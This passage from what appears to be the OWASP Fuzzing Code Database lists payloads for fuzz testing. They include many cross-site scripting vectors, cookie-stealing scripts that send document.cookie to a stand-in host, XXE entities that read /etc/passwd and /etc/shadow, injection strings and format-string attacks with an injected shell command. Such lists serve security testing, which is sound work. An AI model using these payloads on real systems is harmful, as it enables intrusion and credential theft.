type=&quot;&quot;text/css&quot;&quot;&amp;gt;BODY{background:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &amp;lt;!--[if gte IE 4]&amp;gt;&amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&amp;lt;![endif]--&amp;gt;<br /> &quot;&amp;lt;BASE HREF=&quot;&quot;javascript:alert('XSS');//&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;OBJECT TYPE=&quot;&quot;text/x-scriptlet&quot;&quot; DATA=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&quot;<br /> &amp;lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&amp;gt;&amp;lt;param name=url value=javascript:alert('XSS')&amp;gt;&amp;lt;/OBJECT&amp;gt;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;http://ha.ckers.org/xss.swf&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&quot;&quot; type=&quot;&quot;image/svg+xml&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&amp;lt;?xml:namespace prefix=&quot;&quot;t&quot;&quot; ns=&quot;&quot;urn:schemas-microsoft-com:time&quot;&quot;&amp;gt;&amp;lt;?import namespace=&quot;&quot;t&quot;&quot; implementation=&quot;&quot;#default#time2&quot;&quot;&amp;gt;&amp;lt;t:set attributeName=&quot;&quot;innerHTML&quot;&quot; to=&quot;&quot;XSS&amp;lt;SCRIPT DEFER&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT SRC=&quot;&quot;http://ha.ckers.org/xss.jpg&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo '&amp;lt;SCR'&quot;&quot;--&amp;gt;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&quot;&quot;--&amp;gt;&quot;<br /> &quot;&amp;lt;? echo('&amp;lt;SCR)';echo('IPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;');&amp;nbsp;?&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Set-Cookie&quot;&quot; Content=&quot;&quot;USERID=&amp;lt;SCRIPT&amp;gt;alert('XSS')&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&quot;&quot;CONTENT-TYPE&quot;&quot; CONTENT=&quot;&quot;text/html; charset=UTF-7&quot;&quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT =&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; '' SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT &quot;&quot;a='&amp;gt;'&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;'&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT&amp;gt;document.write(&quot;&quot;&amp;lt;SCRI&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://66.102.7.147/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://1113982867/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0x42.0x0000066.0x7.0x93/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0102.0146.0007.00000223/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;h\ntt\tp://6&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//www.google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//google&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.google.com./&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;javascript:document.location='http://www.google.com/'&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;div onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;input type=&quot;&quot;image&quot;&quot; dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;bgsound src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&quot;<br /> &quot;&amp;lt;img src=&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&amp;gt;&quot;<br /> &quot;&amp;lt;link rel=&quot;&quot;stylesheet&quot;&quot; href=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;iframe src=&quot;&quot;vbscript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;livescript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;about:&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;meta http-equiv=&quot;&quot;refresh&quot;&quot; content=&quot;&quot;0;url=javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;body onload=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;background-image: url(javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;behaviour: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;width: expression(document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style type=&quot;&quot;text/javascript&quot;&quot;&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/style&amp;gt;&quot;<br /> &quot;&amp;lt;object classid=&quot;&quot;clsid:...&quot;&quot; codebase=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style&amp;gt;&amp;lt;!--&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;![CDATA[&amp;lt;!--]]&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&quot;&quot;onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&amp;gt;&quot;&quot; onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div datafld=&quot;&quot;b&quot;&quot; dataformatas=&quot;&quot;html&quot;&quot; datasrc=&quot;&quot;#X&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;javascript#document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;mocha:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt; [Mozilla]&quot;<br /> &quot;&amp;lt;!-- -- --&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&amp;lt;!-- -- --&amp;gt;&quot;<br /> &quot;&amp;lt;xml src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;xml id=&quot;&quot;X&quot;&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/xml&amp;gt;&quot;<br /> &quot;[\xC0][\xBC]script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);[\xC0][\xBC]/script&amp;gt;&quot;<br /> &amp;gt;&amp;lt;script&amp;gt;<br /> &quot;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;);//&amp;lt;&amp;lt;/script&amp;gt;&quot;<br /> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;<br /> &quot;%3cscript%3ealert(&quot;&quot;WXSS&quot;&quot;);%3c/script%3e&quot;<br /> %3cscript%3ealert(document.cookie);%3c%2fscript%3e<br /> %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;lt;/script&amp;gt;<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt; <br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: xx/xx/xx - Total Statements: 28) ===<br /> &lt;pre&gt;%s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | 